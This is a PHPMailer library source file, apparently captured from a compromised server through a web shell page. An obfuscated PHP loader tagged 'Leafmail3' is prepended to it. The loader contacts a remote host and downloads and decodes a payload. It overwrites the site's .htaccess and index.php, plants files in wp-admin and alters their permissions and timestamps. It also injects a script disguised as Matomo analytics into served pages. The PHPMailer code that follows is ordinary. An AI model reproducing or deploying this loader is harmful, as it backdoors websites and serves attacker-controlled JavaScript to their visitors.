AlkantarClanX12
Your IP : 18.117.70.64
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
* PHPMailer - PHP email creation and transport class.
* PHP Version 5.5.
*
* @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
*
* @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
* @author Jim Jagielski (jimjag) <jimjag@gmail.com>
* @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
* @author Brent R. Matzelle (original founder)
* @copyright 2012 - 2020 Marcus Bointon
* @copyright 2010 - 2012 Jim Jagielski
* @copyright 2004 - 2009 Andy Prevost
* @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
* @note This program is distributed in the hope that it will be useful - WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE.
*/
namespace PHPMailer\PHPMailer;
/**
* PHPMailer - PHP email creation and transport class.
*
* @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
* @author Jim Jagielski (jimjag) <jimjag@gmail.com>
* @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
* @author Brent R. Matzelle (original founder)
*/
class PHPMailer
{
const CHARSET_ASCII = 'us-ascii';
const CHARSET_ISO88591 = 'iso-8859-1';
const CHARSET_UTF8 = 'utf-8';
const CONTENT_TYPE_PLAINTEXT = 'text/plain';
const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar';
const CONTENT_TYPE_TEXT_HTML = 'text/html';
const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative';
const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed';
const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related';
const ENCODING_7BIT = '7bit';
const ENCODING_8BIT = '8bit';
const ENCODING_BASE64 = 'base64';
const ENCODING_BINARY = 'binary';
const ENCODING_QUOTED_PRINTABLE = 'quoted-printable';
const ENCRYPTION_STARTTLS = 'tls';
const ENCRYPTION_SMTPS = 'ssl';
const ICAL_METHOD_REQUEST = 'REQUEST';
const ICAL_METHOD_PUBLISH = 'PUBLISH';
const ICAL_METHOD_REPLY = 'REPLY';
const ICAL_METHOD_ADD = 'ADD';
const ICAL_METHOD_CANCEL = 'CANCEL';
const ICAL_METHOD_REFRESH = 'REFRESH';
const ICAL_METHOD_COUNTER = 'COUNTER';
const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
*
* @var int|null
*/
public $Priority;
/**
* The character set of the message.
*
* @var string
*/
public $CharSet = self::CHARSET_ISO88591;
/**
* The MIME Content-type of the message.
*
* @var string
*/
public $ContentType = self::CONTENT_TYPE_PLAINTEXT;
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
*
* @var string
*/
public $Encoding = self::ENCODING_8BIT;
/**
* Holds the most recent mailer error message.
*
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
*
* @var string
*/
public $From = '';
/**
* The From name of the message.
*
* @var string
*/
public $FromName = '';
/**
* The envelope sender of the message.
* This will usually be turned into a Return-Path header by the receiver,
* and is the address that bounces will be sent to.
* If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP.
*
* @var string
*/
public $Sender = '';
/**
* The Subject of the message.
*
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
*
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
*
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator.
*
* @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @see http://kigkonsult.se/iCalcreator/
*
* @var string
*/
public $Ical = '';
/**
* Value-array of "method" in Contenttype header "text/calendar"
*
* @var string[]
*/
protected static $IcalMethods = [
self::ICAL_METHOD_REQUEST,
self::ICAL_METHOD_PUBLISH,
self::ICAL_METHOD_REPLY,
self::ICAL_METHOD_ADD,
self::ICAL_METHOD_CANCEL,
self::ICAL_METHOD_REFRESH,
self::ICAL_METHOD_COUNTER,
self::ICAL_METHOD_DECLINECOUNTER,
];
/**
* The complete compiled MIME message body.
*
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
*
* @var string
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
*
* @var string
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
*
* @see static::STD_LINE_LENGTH
*
* @var int
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
*
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
*
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
*
* @var bool
*/
public $UseSendmailOptions = true;
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
*
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
*
* @see PHPMailer::$Helo
*
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* You can set your own, but it must be in the format "<id@domain>",
* as defined in RFC5322 section 3.6.4 or it will be ignored.
*
* @see https://tools.ietf.org/html/rfc5322#section-3.6.4
*
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
*
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
*
* @var string
*/
public $Host = 'localhost';
/**
